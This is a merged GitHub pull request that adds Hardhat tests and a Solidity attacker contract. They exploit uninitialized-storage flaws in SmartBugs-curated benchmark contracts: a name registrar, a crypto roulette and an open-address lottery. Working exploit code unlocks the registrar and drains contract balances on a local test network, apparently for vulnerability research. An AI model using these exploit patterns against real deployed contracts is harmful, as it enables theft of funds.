Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add tests simulating sb-curated other attacks #20

Merged
merged 3 commits into from
Sep 4, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
15 changes: 15 additions & 0 deletions smartbugs-curated/0.4.x/contracts/other/name_registrar_attack.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
pragma solidity ^0.4.15;

import "../dataset/other/name_registrar.sol";
contract NameRegistrarAttacker {

NameRegistrar public target;

function NameRegistrarAttacker(address _target) {
target = NameRegistrar(_target);
}

function attack() {
target.register(0x0000000000000000000000000000000000000000000000000000000000000001, 0x1);
}
}
43 changes: 43 additions & 0 deletions smartbugs-curated/0.4.x/test/other/crypto_roulette_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack other/crypto_roulette.sol', function () {
let owner;
async function deployContracts() {
[owner] = await ethers.getSigners();
const CryptoRoulette = await ethers.getContractFactory('contracts/dataset/other/crypto_roulette.sol:CryptoRoulette');
const victim = await CryptoRoulette.deploy();
await victim.connect(owner).waitForDeployment();
return {victim};
}


it('exploit uninitialized storage vulnerability', async function () {
const {victim} = await loadFixture(deployContracts);
const amount = ethers.parseEther("1");
await owner.sendTransaction({to: victim.target, value: amount});

const contractBalance = await ethers.provider.getBalance(victim.target);

expect(contractBalance).to.be.equal(amount);
const attacker_addr = "0x000000000000000000000000000000000000000a";
await network.provider.request({
method: "hardhat_impersonateAccount",
params: [attacker_addr],
});
const attacker_sign = await ethers.getSigner(attacker_addr);

// attacker account needs ether to send its txs, it doesn't have to be from the owner
await owner.sendTransaction({to: attacker_addr, value: amount});
const balanceBefore = await ethers.provider.getBalance(attacker_addr);
expect(balanceBefore).to.be.equal(amount);

const tx = await victim.connect(attacker_sign).play(10, {value: ethers.parseEther("0.1")});
const receipt = await tx.wait();
const balanceAfter = await ethers.provider.getBalance(attacker_addr);
expect(balanceAfter).to.be.equal(amount - receipt.gasUsed * receipt.gasPrice + amount);

const contractBalanceAfter = await ethers.provider.getBalance(victim.target);
expect(contractBalanceAfter).to.be.equal(0);
});
});
30 changes: 30 additions & 0 deletions smartbugs-curated/0.4.x/test/other/name_registrar_test.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,30 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack other/name_registrar.sol', function () {
async function deployContracts() {
const NameRegistrar = await ethers.getContractFactory('contracts/dataset/other/name_registrar.sol:NameRegistrar');
const victim = await NameRegistrar.deploy();
await victim.waitForDeployment();
const address = await victim.getAddress();

const NameRegistrarAttacker = await ethers.getContractFactory('contracts/other/name_registrar_attack.sol:NameRegistrarAttacker');
const attacker = await NameRegistrarAttacker.deploy(address);
await attacker.waitForDeployment();
return {victim, attacker};
}


it('exploit uninitialized storage vulnerability', async function () {
const {victim, attacker} = await loadFixture(deployContracts);

const unlocked = await victim.unlocked();
expect(unlocked).to.be.false;

await attacker.attack();

const unlockedAfter = await victim.unlocked();
expect(unlockedAfter).to.be.true;

});
});
56 changes: 56 additions & 0 deletions smartbugs-curated/0.4.x/test/other/open_address_lottery.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
const { loadFixture } = require('@nomicfoundation/hardhat-network-helpers');
const { expect } = require('chai');

describe('attack other/open_address_lottery.sol', function () {
let attacker, participant;
async function deployContracts() {
[attacker, participant] = await ethers.getSigners();
const OpenAddressLottery = await ethers.getContractFactory('contracts/dataset/other/open_address_lottery.sol:OpenAddressLottery');
const contract = await OpenAddressLottery.deploy();
await contract.connect(attacker).waitForDeployment();
return {contract};
}


it('exploit uninitialized storage vulnerability', async function () {
const {contract} = await loadFixture(deployContracts);
const attackerBalanceBefore = await ethers.provider.getBalance(attacker.address);

const amount = ethers.parseEther("1");
const tx0 = await attacker.sendTransaction({to: contract.target, value: amount});
const receipt0 = await tx0.wait();

const contractBalance = await ethers.provider.getBalance(contract.target);
expect(contractBalance).to.be.equal(amount);

const storage = await ethers.provider.getStorage(contract.target, 3);
const value = Number(storage);
expect(value).to.be.equal(7);

const tx1 = await contract.connect(attacker).forceReseed();
const receipt1 = await tx1.wait();
const storageAfter = await ethers.provider.getStorage(contract.target, 3);
const valueAfter = Number(storageAfter);
expect(valueAfter).to.be.gt(8);

//no participant will ever win any prize
const participantBalanceBefore = await ethers.provider.getBalance(participant.address);
const price = ethers.parseEther("0.1");
const tx2 = await contract.connect(participant).participate({value: price});
const receipt2 = await tx2.wait();
const participantBalanceAfter = await ethers.provider.getBalance(participant.address);
expect(participantBalanceAfter).to.be.equal(participantBalanceBefore - receipt2.gasUsed * receipt2.gasPrice - price);

const contractBalanceAfter = await ethers.provider.getBalance(contract.target);
expect(contractBalanceAfter).to.be.equal(amount + price);

// attacker destroys the contract and gets all the money
const tx3 = await contract.connect(attacker).kill();
const receipt3 = await tx3.wait();
const attackerBalanceAfter = await ethers.provider.getBalance(attacker.address);
expect(attackerBalanceAfter).to.be.equal(attackerBalanceBefore - receipt0.gasUsed * receipt0.gasPrice
- receipt1.gasUsed * receipt1.gasPrice
- receipt3.gasUsed * receipt3.gasPrice + price);

});
});
Loading